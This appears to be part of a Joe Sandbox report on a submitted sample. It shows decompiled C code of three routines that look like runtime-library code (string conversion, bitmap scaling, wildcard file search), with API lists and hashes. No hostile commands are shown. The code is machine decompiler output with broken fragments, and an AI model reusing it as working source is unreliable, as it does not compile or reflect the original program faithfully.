				_t34 =  *0x893688; // 0xe2d35318
				_v8 = _t34 ^ _t68;
				E00878ECE(_t55,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t6 = _v24 + 8; // 0x6ae85006
					_t54 =  *_t6;
					_t57 = _t54;
					_a24 = _t54;
				}
				_t66 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E0087494C(_t66, _t55, _v8 ^ _t68, _t65, _t66, _t67);
				}
				_t55 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t55 + 0x00000008 & _t40) == 0) {
					_t67 = 0;
					L11:
					if(_t67 != 0) {
						E00874BD0(_t66, _t67, _t66, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t67, _v12);
						if(_t46 != 0) {
							_t66 = GetStringTypeW(_a8, _t67, _t46, _a20);
						}
					}
					L14:
					E0087F54C(_t67);
					goto L15;
				}
				asm("sbb eax, eax");
				_t48 = _t40 & _t55 + 0x00000008;
				_t63 = _t55 + 8;
				if((_t40 & _t55 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t67 = E0087DA90(_t63, _t48 & _t63);
					if(_t67 == 0) {
						goto L14;
					}
					 *_t67 = 0xdddd;
					L9:
					_t67 =  &(_t67[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E008869A0(_t48 & _t63);
				_t67 = _t69;
				if(_t67 == 0) {
					goto L14;
				}
				 *_t67 = 0xcccc;
				goto L9;
			}

0x00881308
0x00881310
0x00881317
0x00881323
0x00881328
0x0088132d
0x00881332
0x00881332
0x00881335
0x00881337
0x00881337
0x0088133c
0x00881355
0x0088135b
0x00881360
0x008813ff
0x00881403
0x00881408
0x00881408
0x00881424
0x00881424
0x00881366
0x0088136e
0x00881372
0x008813be
0x008813c0
0x008813c2
0x008813c7
0x008813de
0x008813e6
0x008813f6
0x008813f6
0x008813e6
0x008813f8
0x008813f9
0x00000000
0x008813fe
0x00881379
0x0088137b
0x0088137d
0x00881385
0x008813a2
0x008813ac
0x008813b1
0x00000000
0x00000000
0x008813b3
0x008813b9
0x008813b9
0x00000000
0x008813b9
0x00881389
0x0088138d
0x00881392
0x00881396
0x00000000
0x00000000
0x00881398
0x00000000

APIs

MultiByteToWideChar.KERNEL32(?,00000000,6AE85006,0087905E,00000000,00000000,0087A093,?,0087A093,?,00000001,0087905E,6AE85006,00000001,0087A093,0087A093), ref: 00881355
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 008813DE
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 008813F0
__freea.LIBCMT ref: 008813F9

Part of subcall function 0087DA90: RtlAllocateHeap.NTDLL(00000000,?,?,?,00878B1E,?,0000015D,?,?,?,?,00879FFA,000000FF,00000000,?,?), ref: 0087DAC2

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: cd01b0fd90849a70acee3d3ff7ee853c773eedc86cbbd3cd0c6d365a8cf942e6
Instruction ID: dfbf532eeedd107f21a607e23aac4b42883d8b9954b7a41d794e8adf25c896ac
Opcode Fuzzy Hash: cd01b0fd90849a70acee3d3ff7ee853c773eedc86cbbd3cd0c6d365a8cf942e6
Instruction Fuzzy Hash: 1A31AE72A1021AABDF25AF68DC49EAF7BA9FF40350B144169FC04D7250EB39CD51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0086FA2C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0086FA2C(void* __edx, long long __fp0, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v0;
				signed int _v4;
				void _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v84;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				void* _v112;
				char _v116;
				char _v120;
				short _v122;
				short _v124;
				signed int _v128;
				intOrPtr _v132;
				signed int _v136;
				char _v140;
				intOrPtr* _v144;
				char _v156;
				intOrPtr* _v164;
				intOrPtr* _v168;
				intOrPtr _v176;
				char _v180;
				char _v184;
				intOrPtr* _v196;
				intOrPtr _v212;
				signed int _v216;
				signed int _v220;
				void* _v224;
				char _v228;
				intOrPtr _v232;
				intOrPtr* _v236;
				intOrPtr* _v244;
				void* _v256;
				void* _v260;
				intOrPtr* _v268;
				intOrPtr* _t94;
				void* _t96;
				intOrPtr* _t97;
				signed int _t100;
				intOrPtr* _t103;
				intOrPtr* _t106;
				short _t114;
				intOrPtr _t117;
				intOrPtr* _t118;
				intOrPtr* _t121;
				intOrPtr* _t124;
				intOrPtr* _t130;
				signed int _t133;
				intOrPtr* _t139;
				intOrPtr* _t143;
				void* _t148;
				signed int _t150;
				intOrPtr* _t156;
				intOrPtr* _t166;
				intOrPtr* _t169;
				char _t180;
				void* _t182;
				intOrPtr* _t186;
				signed int _t198;
				long long* _t202;
				long long _t204;

				_t204 = __fp0;
				_t202 =  &_v112;
				if(E0086F8B9() != 0) {
					_t148 = _a4;
					GetObjectW(_t148, 0x18,  &_v68);
					_t150 = _v4;
					asm("cdq");
					_t198 = _v72 * _t150 / _v76;
					if(_t198 >= _v0) {
						_t198 = _v0;
					}
					if(_t150 != _v76 || _t198 != _v72) {
						_t180 = 0;
						_push( &_v124);
						_push(0x889424);
						_push(1);
						_push(0);
						_push(0x88a1fc);
						if( *0x8c9158() >= 0) {
							_t94 = _v144;
							 *0x88822c(_t94, _t148, 0, 2,  &_v140, _t182);
							_t96 =  *((intOrPtr*)( *_t94 + 0x54))();
							_t97 = _v164;
							if(_t96 < 0) {
								L14:
								 *0x88822c(_t97);
								 *((intOrPtr*)( *((intOrPtr*)( *_t97 + 8))))();
								L21:
								_t100 =  *0x8c9074(_t148, _t180, _t180, _t180, _t180);
								L22:
								goto L23;
							}
							_v156 = 0;
							_t186 =  *((intOrPtr*)( *_t97 + 0x28));
							_t156 = _t186;
							 *0x88822c(_t97,  &_v156);
							if( *_t186() < 0) {
								L13:
								_t103 = _v168;
								 *0x88822c(_t103);
								 *((intOrPtr*)( *((intOrPtr*)( *_t103 + 8))))();
								_t97 = _v176;
								goto L14;
							}
							_t106 = _v164;
							asm("fldz");
							 *_t202 = _t204;
							 *0x88822c(_t106, _v168, 0x88a20c, 0, 0, _t156, _t156, 0);
							if( *((intOrPtr*)( *_t106 + 0x20))() >= 0) {
								_v132 = _v84;
								_v116 = 0;
								_v128 =  ~_t198;
								_v112 = 0;
								_v124 = 1;
								_t114 = 0x20;
								_v122 = _t114;
								_v108 = 0;
								_v104 = 0;
								_v100 = 0;
								_v96 = 0;
								_v136 = 0x28;
								_v120 = 0;
								_v184 = 0;
								_t117 =  *0x8c902c(0,  &_v136, 0,  &_v180, 0, 0);
								_v212 = _t117;
								if(_t117 != 0) {
									_t166 = _v228;
									 *0x88822c(_t166,  &_v216);
									 *((intOrPtr*)( *((intOrPtr*)( *_t166 + 0x2c))))();
									_t130 = _v224;
									 *0x88822c(_t130, _v232, _v116, _t198, 3);
									 *((intOrPtr*)( *_t130 + 0x20))();
									_t133 = _v136;
									_t169 = _v244;
									_v216 = _t198;
									_v220 = _t133;
									_v228 = 0;
									_v224 = 0;
									 *0x88822c(_t169,  &_v228, _t133 << 2, _t198 * _t133 << 2, _v232);
									if( *((intOrPtr*)( *_t169 + 0x1c))() < 0) {
										DeleteObject(_v260);
									} else {
										_v256 = _v260;
									}
									_t139 = _v268;
									 *0x88822c(_t139);
									 *((intOrPtr*)( *((intOrPtr*)( *_t139 + 8))))();
								}
								_t118 = _v224;
								 *0x88822c(_t118);
								 *((intOrPtr*)( *((intOrPtr*)( *_t118 + 8))))();
								_t121 = _v224;
								 *0x88822c(_t121);
								 *((intOrPtr*)( *((intOrPtr*)( *_t121 + 8))))();
								_t124 = _v236;
								 *0x88822c(_t124);
								 *((intOrPtr*)( *((intOrPtr*)( *_t124 + 8))))();
								_t100 = _v220;
								if(_t100 != 0) {
									goto L22;
								} else {
									goto L21;
								}
							}
							_t143 = _v196;
							 *0x88822c(_t143);
							 *((intOrPtr*)( *((intOrPtr*)( *_t143 + 8))))();
							goto L13;
						}
						goto L8;
					} else {
						_t180 = 0;
						L8:
						_t100 =  *0x8c9074(_t148, _t180, _t180, _t180, _t180);
						L23:
						return _t100;
					}
				}
				_push(_a12);
				_push(_a8);
				_push(_a4);
				return E0086FCE9();
			}

0x0086fa2c
0x0086fa2c
0x0086fa36
0x0086fa4f
0x0086fa5c
0x0086fa66
0x0086fa70
0x0086fa75
0x0086fa7e
0x0086fa80
0x0086fa80
0x0086fa8c
0x0086fa9c
0x0086fa9e
0x0086fa9f
0x0086faa7
0x0086faa8
0x0086faa9
0x0086fab6
0x0086fac8
0x0086fadc
0x0086fae2
0x0086fae7
0x0086faeb
0x0086fb60
0x0086fb68
0x0086fb6e
0x0086fcd4
0x0086fcd9
0x0086fcdf
0x00000000
0x0086fcdf
0x0086faed
0x0086faf9
0x0086fafc
0x0086fafe
0x0086fb08
0x0086fb48
0x0086fb48
0x0086fb54
0x0086fb5a
0x0086fb5c
0x00000000
0x0086fb5c
0x0086fb0a
0x0086fb0e
0x0086fb15
0x0086fb27
0x0086fb32
0x0086fb7c
0x0086fb84
0x0086fb88
0x0086fb91
0x0086fb95
0x0086fb9a
0x0086fb9d
0x0086fbac
0x0086fbb5
0x0086fbbc
0x0086fbc3
0x0086fbca
0x0086fbd2
0x0086fbd6
0x0086fbda
0x0086fbe0
0x0086fbe6
0x0086fbec
0x0086fbfd
0x0086fc03
0x0086fc05
0x0086fc1d
0x0086fc23
0x0086fc26
0x0086fc31
0x0086fc35
0x0086fc3c
0x0086fc43
0x0086fc47
0x0086fc5b
0x0086fc66
0x0086fc76
0x0086fc68
0x0086fc6c
0x0086fc6c
0x0086fc7c
0x0086fc88
0x0086fc8e
0x0086fc8e
0x0086fc90
0x0086fc9c
0x0086fca2
0x0086fca4
0x0086fcb0
0x0086fcb6
0x0086fcb8
0x0086fcc4
0x0086fcca
0x0086fccc
0x0086fcd2
0x00000000
0x00000000
0x00000000
0x00000000
0x0086fcd2
0x0086fb34
0x0086fb40
0x0086fb46
0x00000000
0x0086fb46
0x00000000
0x0086fa94
0x0086fa94
0x0086fab8
0x0086fabd
0x0086fce0
0x00000000
0x0086fce2
0x0086fa8c
0x0086fa38
0x0086fa3c
0x0086fa40
0x00000000

APIs

Part of subcall function 0086F8B9: GetDC.USER32(00000000), ref: 0086F8BD
Part of subcall function 0086F8B9: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0086F8C8
Part of subcall function 0086F8B9: ReleaseDC.USER32(00000000,00000000), ref: 0086F8D3

GetObjectW.GDI32(?,00000018,?), ref: 0086FA5C

Part of subcall function 0086FCE9: GetDC.USER32(00000000), ref: 0086FCF2
Part of subcall function 0086FCE9: GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,?,?,0086FA49,?,?,?), ref: 0086FD21
Part of subcall function 0086FCE9: ReleaseDC.USER32(00000000,?), ref: 0086FDB9

Strings

(, xrefs: 0086FBCA

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 7865fea6ed5c9e0e3ac9b55be0abb07f4d301ec63d77c7e8b8670c2bf007cd9f
Instruction ID: eca0d413711cb979d0f085036814b28f8ef645eb022d5027496241bed291214b
Opcode Fuzzy Hash: 7865fea6ed5c9e0e3ac9b55be0abb07f4d301ec63d77c7e8b8670c2bf007cd9f
Instruction Fuzzy Hash: 6491E271608755AFC710DF69E84892BBBF9FF88714F10486DF99AD3261DB30A805CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0087FB38 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0087FB38(signed int _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v6;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v36;
				intOrPtr* _v64;
				intOrPtr _v96;
				intOrPtr* _v100;
				CHAR* _v104;
				signed int _v116;
				char _v290;
				signed int _v291;
				struct _WIN32_FIND_DATAA _v336;
				union _FINDEX_INFO_LEVELS _v340;
				signed int _v344;
				signed int _v348;
				intOrPtr _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t80;
				signed int _t82;
				signed int _t87;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t100;
				signed int _t103;
				signed int _t108;
				signed int _t111;
				intOrPtr _t113;
				signed char _t115;
				union _FINDEX_INFO_LEVELS _t123;
				signed int _t128;
				signed int _t131;
				void* _t136;
				void* _t138;
				signed int _t139;
				signed int _t142;
				signed int _t144;
				signed int _t146;
				signed int* _t147;
				signed int _t150;
				void* _t153;
				CHAR* _t154;
				void* _t155;
				char _t157;
				char _t159;
				intOrPtr* _t162;
				void* _t163;
				intOrPtr* _t164;
				signed int _t166;
				void* _t168;
				intOrPtr* _t169;
				signed int _t173;
				signed int _t177;
				signed int _t178;
				intOrPtr* _t183;
				void* _t192;
				signed int _t194;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t200;
				union _FINDEX_INFO_LEVELS _t201;
				void* _t202;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				void* _t211;
				intOrPtr _t212;
				void* _t213;
				void* _t214;
				signed int _t217;
				void* _t219;
				signed int _t220;
				void* _t221;
				void* _t222;
				void* _t223;
				signed int _t224;
				void* _t225;
				void* _t226;

				_t80 = _a8;
				_t222 = _t221 - 0x20;
				if(_t80 != 0) {
					_t206 = _a4;
					_t159 = 0;
					 *_t80 = 0;
					_t197 = 0;
					_t150 = 0;
					_v36 = 0;
					_v336.cAlternateFileName = 0;
					_v28 = 0;
					__eflags =  *_t206;
					if( *_t206 == 0) {
						L9:
						_v12 = _v12 & 0x00000000;
						_t82 = _t150 - _t197;
						_v8 = _t159;
						_t190 = (_t82 >> 2) + 1;
						__eflags = _t150 - _t197;
						_v16 = (_t82 >> 2) + 1;
						asm("sbb esi, esi");
						_t208 =  !_t206 & _t82 + 0x00000003 >> 0x00000002;
						__eflags = _t208;
						if(_t208 != 0) {
							_t195 = _t197;
							_t157 = _t159;
							do {
								_t183 =  *_t195;
								_t17 = _t183 + 1; // 0x1
								_v8 = _t17;
								do {
									_t142 =  *_t183;
									_t183 = _t183 + 1;
									__eflags = _t142;
								} while (_t142 != 0);
								_t157 = _t157 + 1 + _t183 - _v8;
								_t195 = _t195 + 4;
								_t144 = _v12 + 1;
								_v12 = _t144;
								__eflags = _t144 - _t208;
							} while (_t144 != _t208);
							_t190 = _v16;
							_v8 = _t157;
							_t150 = _v336.cAlternateFileName;
						}
						_t209 = E0087CB4C(_t190, _v8, 1);
						_t223 = _t222 + 0xc;
						__eflags = _t209;
						if(_t209 != 0) {
							_t87 = _t209 + _v16 * 4;
							_v20 = _t87;
							_t191 = _t87;
							_v16 = _t87;
							__eflags = _t197 - _t150;
							if(_t197 == _t150) {
								L23:
								_t198 = 0;
								__eflags = 0;
								 *_a8 = _t209;
								goto L24;
							} else {
								_t93 = _t209 - _t197;
								__eflags = _t93;
								_v24 = _t93;
								do {
									_t162 =  *_t197;
									_v12 = _t162 + 1;
									do {
										_t95 =  *_t162;
										_t162 = _t162 + 1;
										__eflags = _t95;
									} while (_t95 != 0);
									_t163 = _t162 - _v12;
									_t35 = _t163 + 1; // 0x1
									_t96 = _t35;
									_push(_t96);
									_v12 = _t96;
									_t100 = E00883A81(_t163, _t191, _v20 - _t191 + _v8,  *_t197);
									_t223 = _t223 + 0x10;
									__eflags = _t100;
									if(_t100 != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E0087D96C();
										asm("int3");
										_t219 = _t223;
										_push(_t163);
										_t164 = _v64;
										_t47 = _t164 + 1; // 0x1
										_t192 = _t47;
										do {
											_t103 =  *_t164;
											_t164 = _t164 + 1;
											__eflags = _t103;
										} while (_t103 != 0);
										_push(_t197);
										_t200 = _a8;
										_t166 = _t164 - _t192 + 1;
										_v12 = _t166;
										__eflags = _t166 - (_t103 | 0xffffffff) - _t200;
										if(_t166 <= (_t103 | 0xffffffff) - _t200) {
											_push(_t150);
											_t50 = _t200 + 1; // 0x1
											_t153 = _t50 + _t166;
											_t211 = E0087FAB6(_t166, _t153, 1);
											_t168 = _t209;
											__eflags = _t200;
											if(_t200 == 0) {
												L34:
												_push(_v12);
												_t153 = _t153 - _t200;
												_t108 = E00883A81(_t168, _t211 + _t200, _t153, _v0);
												_t224 = _t223 + 0x10;
												__eflags = _t108;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t136 = E0087FF07(_a12, _t192, __eflags, _t211);
													E0087D758(0);
													_t138 = _t136;
													goto L36;
												}
											} else {
												_push(_t200);
												_t139 = E00883A81(_t168, _t211, _t153, _a4);
												_t224 = _t223 + 0x10;
												__eflags = _t139;
												if(_t139 != 0) {
													L37:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E0087D96C();
													asm("int3");
													_push(_t219);
													_t220 = _t224;
													_t225 = _t224 - 0x150;
													_t111 =  *0x893688; // 0xe2d35318
													_v116 = _t111 ^ _t220;
													_t169 = _v100;
													_push(_t153);
													_t154 = _v104;
													_push(_t211);
													_t212 = _v96;
													_push(_t200);
													_v440 = _t212;
													while(1) {
														__eflags = _t169 - _t154;
														if(_t169 == _t154) {
															break;
														}
														_t113 =  *_t169;
														__eflags = _t113 - 0x2f;
														if(_t113 != 0x2f) {
															__eflags = _t113 - 0x5c;
															if(_t113 != 0x5c) {
																__eflags = _t113 - 0x3a;
																if(_t113 != 0x3a) {
																	_t169 = E00883AD0(_t154, _t169);
																	continue;
																}
															}
														}
														break;
													}
													_t193 =  *_t169;
													__eflags = _t193 - 0x3a;
													if(_t193 != 0x3a) {
														L47:
														_t201 = 0;
														__eflags = _t193 - 0x2f;
														if(_t193 == 0x2f) {
															L51:
															_t115 = 1;
															__eflags = 1;
														} else {
															__eflags = _t193 - 0x5c;
															if(_t193 == 0x5c) {
																goto L51;
															} else {
																__eflags = _t193 - 0x3a;
																if(_t193 == 0x3a) {
																	goto L51;
																} else {
																	_t115 = 0;
																}
															}
														}
														asm("sbb eax, eax");
														_v344 =  ~(_t115 & 0x000000ff) & _t169 - _t154 + 0x00000001;
														E00874BD0(_t201,  &_v336, _t201, 0x140);
														_t226 = _t225 + 0xc;
														_t213 = FindFirstFileExA(_t154, _t201,  &_v336, _t201, _t201, _t201);
														_t123 = _v340;
														__eflags = _t213 - 0xffffffff;
														if(_t213 != 0xffffffff) {
															_t173 =  *((intOrPtr*)(_t123 + 4)) -  *_t123;
															__eflags = _t173;
															_v348 = _t173 >> 2;
															do {
																__eflags = _v336.cFileName - 0x2e;
																if(_v336.cFileName != 0x2e) {
																	L64:
																	_push(_t123);
																	_push(_v344);
																	_t123 =  &(_v336.cFileName);
																	_push(_t154);
																	_push(_t123);
																	L28();
																	_t226 = _t226 + 0x10;
																	__eflags = _t123;
																	if(_t123 != 0) {
																		goto L54;
																	} else {
																		goto L65;
																	}
																} else {
																	_t177 = _v291;
																	__eflags = _t177;
																	if(_t177 == 0) {
																		goto L65;
																	} else {
																		__eflags = _t177 - 0x2e;
																		if(_t177 != 0x2e) {
																			goto L64;
																		} else {
																			__eflags = _v290;
																			if(_v290 == 0) {
																				goto L65;
																			} else {
																				goto L64;
																			}
																		}
																	}
																}
																goto L58;
																L65:
																_t128 = FindNextFileA(_t213,  &_v336);
																__eflags = _t128;
																_t123 = _v340;
															} while (_t128 != 0);
															_t193 =  *_t123;
															_t178 = _v348;
															_t131 =  *((intOrPtr*)(_t123 + 4)) -  *_t123 >> 2;
															__eflags = _t178 - _t131;
															if(_t178 != _t131) {
																E0087AC00(_t154, _t193 + _t178 * 4, _t131 - _t178, 4, E0087FB20);
															}
														} else {
															_push(_t123);
															_push(_t201);
															_push(_t201);
															_push(_t154);
															L28();
															L54:
															_t201 = _t123;
														}
														__eflags = _t213 - 0xffffffff;
														if(_t213 != 0xffffffff) {
															FindClose(_t213);
														}
														_t124 = _t201;
													} else {
														_t124 =  &(_t154[1]);
														__eflags = _t169 -  &(_t154[1]);
														if(_t169 ==  &(_t154[1])) {
															goto L47;
														} else {
															_push(_t212);
															_push(0);
															_push(0);
															_push(_t154);
															L28();
														}
													}
													L58:
													_pop(_t202);
													_pop(_t214);
													__eflags = _v16 ^ _t220;
													_pop(_t155);
													return E0087494C(_t124, _t155, _v16 ^ _t220, _t193, _t202, _t214);
												} else {
													goto L34;
												}
											}
										} else {
											_t138 = 0xc;
											L36:
											return _t138;
										}
									} else {
										goto L22;
									}
									goto L68;
									L22:
									_t194 = _v16;
									 *((intOrPtr*)(_v24 + _t197)) = _t194;
									_t197 = _t197 + 4;
									_t191 = _t194 + _v12;
									_v16 = _t194 + _v12;
									__eflags = _t197 - _t150;
								} while (_t197 != _t150);
								goto L23;
							}
						} else {
							_t198 = _t197 | 0xffffffff;
							L24:
							E0087D758(0);
							goto L25;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t159;
							_t146 = E00883A90( *_t206,  &_v8);
							__eflags = _t146;
							if(_t146 != 0) {
								_push( &_v36);
								_push(_t146);
								_push( *_t206);
								L38();
								_t222 = _t222 + 0xc;
							} else {
								_t146 =  &_v36;
								_push(_t146);
								_push(0);
								_push(0);
								_push( *_t206);
								L28();
								_t222 = _t222 + 0x10;
							}
							_t198 = _t146;
							__eflags = _t198;
							if(_t198 != 0) {
								break;
							}
							_t206 = _t206 + 4;
							_t159 = 0;
							__eflags =  *_t206;
							if( *_t206 != 0) {
								continue;
							} else {
								_t150 = _v336.cAlternateFileName;
								_t197 = _v36;
								goto L9;
							}
							goto L68;
						}
						L25:
						E0087FEE2( &_v36);
						_t91 = _t198;
						goto L26;
					}
				} else {
					_t147 = E0087DA7D();
					_t217 = 0x16;
					 *_t147 = _t217;
					E0087D95C();
					_t91 = _t217;
					L26:
					return _t91;
				}
				L68:
			}

0x0087fb3d
0x0087fb40
0x0087fb46
0x0087fb5e
0x0087fb61
0x0087fb65
0x0087fb67
0x0087fb69
0x0087fb6b
0x0087fb6e
0x0087fb71
0x0087fb74
0x0087fb76
0x0087fbce
0x0087fbce
0x0087fbd4
0x0087fbd6
0x0087fbe1
0x0087fbe5
0x0087fbe7
0x0087fbea
0x0087fbee
0x0087fbee
0x0087fbf0
0x0087fbf2
0x0087fbf4
0x0087fbf6
0x0087fbf6
0x0087fbf8
0x0087fbfb
0x0087fbfe
0x0087fbfe
0x0087fc00
0x0087fc01
0x0087fc01
0x0087fc0c
0x0087fc0e
0x0087fc11
0x0087fc12
0x0087fc15
0x0087fc15
0x0087fc19
0x0087fc1c
0x0087fc1f
0x0087fc1f
0x0087fc2d
0x0087fc2f
0x0087fc32
0x0087fc34
0x0087fc3e
0x0087fc41
0x0087fc44
0x0087fc46
0x0087fc49
0x0087fc4b
0x0087fc9b
0x0087fc9e
0x0087fc9e
0x0087fca0
0x00000000
0x0087fc4d
0x0087fc4f
0x0087fc4f
0x0087fc51
0x0087fc54
0x0087fc54
0x0087fc59
0x0087fc5c
0x0087fc5c
0x0087fc5e
0x0087fc5f
0x0087fc5f
0x0087fc63
0x0087fc66
0x0087fc66
0x0087fc69
0x0087fc6c
0x0087fc79
0x0087fc7e
0x0087fc81
0x0087fc83
0x0087fcbd
0x0087fcbe
0x0087fcbf
0x0087fcc0
0x0087fcc1
0x0087fcc2
0x0087fcc7
0x0087fccb
0x0087fccd
0x0087fcce
0x0087fcd1
0x0087fcd1
0x0087fcd4
0x0087fcd4
0x0087fcd6
0x0087fcd7
0x0087fcd7
0x0087fce0
0x0087fce1
0x0087fce4
0x0087fce7
0x0087fcea
0x0087fcec
0x0087fcf3
0x0087fcf5
0x0087fcf8
0x0087fd02
0x0087fd05
0x0087fd06
0x0087fd08
0x0087fd1c
0x0087fd1c
0x0087fd1f
0x0087fd29
0x0087fd2e
0x0087fd31
0x0087fd33
0x00000000
0x0087fd35
0x0087fd39
0x0087fd42
0x0087fd48
0x00000000
0x0087fd4b
0x0087fd0a
0x0087fd0a
0x0087fd10
0x0087fd15
0x0087fd18
0x0087fd1a
0x0087fd51
0x0087fd53
0x0087fd54
0x0087fd55
0x0087fd56
0x0087fd57
0x0087fd58
0x0087fd5d
0x0087fd60
0x0087fd61
0x0087fd63
0x0087fd69
0x0087fd70
0x0087fd73
0x0087fd76
0x0087fd77
0x0087fd7a
0x0087fd7b
0x0087fd7e
0x0087fd7f
0x0087fda0
0x0087fda0
0x0087fda2
0x00000000
0x00000000
0x0087fd87
0x0087fd89
0x0087fd8b
0x0087fd8d
0x0087fd8f
0x0087fd91
0x0087fd93
0x0087fd9e
0x00000000
0x0087fd9e
0x0087fd93
0x0087fd8f
0x00000000
0x0087fd8b
0x0087fda4
0x0087fda6
0x0087fda9
0x0087fdc2
0x0087fdc2
0x0087fdc4
0x0087fdc7
0x0087fdd7
0x0087fdd9
0x0087fdd9
0x0087fdc9
0x0087fdc9
0x0087fdcc
0x00000000
0x0087fdce
0x0087fdce
0x0087fdd1
0x00000000
0x0087fdd3
0x0087fdd3
0x0087fdd3
0x0087fdd1
0x0087fdcc
0x0087fde7
0x0087fdeb
0x0087fdf9
0x0087fdfe
0x0087fe13
0x0087fe15
0x0087fe1b
0x0087fe1e
0x0087fe50
0x0087fe50
0x0087fe55
0x0087fe5b
0x0087fe5b
0x0087fe62
0x0087fe7c
0x0087fe7c
0x0087fe7d
0x0087fe83
0x0087fe89
0x0087fe8a
0x0087fe8b
0x0087fe90
0x0087fe93
0x0087fe95
0x00000000
0x00000000
0x00000000
0x00000000
0x0087fe64
0x0087fe64
0x0087fe6a
0x0087fe6c
0x00000000
0x0087fe6e
0x0087fe6e
0x0087fe71
0x00000000
0x0087fe73
0x0087fe73
0x0087fe7a
0x00000000
0x00000000
0x00000000
0x00000000
0x0087fe7a
0x0087fe71
0x0087fe6c
0x00000000
0x0087fe97
0x0087fe9f
0x0087fea5
0x0087fea7
0x0087fea7
0x0087feaf
0x0087feb4
0x0087febc
0x0087febf
0x0087fec1
0x0087fed5
0x0087feda
0x0087fe20
0x0087fe20
0x0087fe21
0x0087fe22
0x0087fe23
0x0087fe24
0x0087fe2c
0x0087fe2c
0x0087fe2c
0x0087fe2e
0x0087fe31
0x0087fe34
0x0087fe34
0x0087fe3a
0x0087fdab
0x0087fdab
0x0087fdae
0x0087fdb0
0x00000000
0x0087fdb2
0x0087fdb2
0x0087fdb5
0x0087fdb6
0x0087fdb7
0x0087fdb8
0x0087fdbd
0x0087fdb0
0x0087fe3c
0x0087fe3f
0x0087fe40
0x0087fe41
0x0087fe43
0x0087fe4c
0x00000000
0x00000000
0x00000000
0x0087fd1a
0x0087fcee
0x0087fcf0
0x0087fd4c
0x0087fd50
0x0087fd50
0x00000000
0x00000000
0x00000000
0x00000000
0x0087fc85
0x0087fc88
0x0087fc8b
0x0087fc8e
0x0087fc91
0x0087fc94
0x0087fc97
0x0087fc97
0x00000000
0x0087fc54
0x0087fc36
0x0087fc36
0x0087fca2
0x0087fca4
0x00000000
0x0087fca9
0x0087fb78
0x0087fb78
0x0087fb7b
0x0087fb84
0x0087fb87
0x0087fb8e
0x0087fb90
0x0087fba9
0x0087fbaa
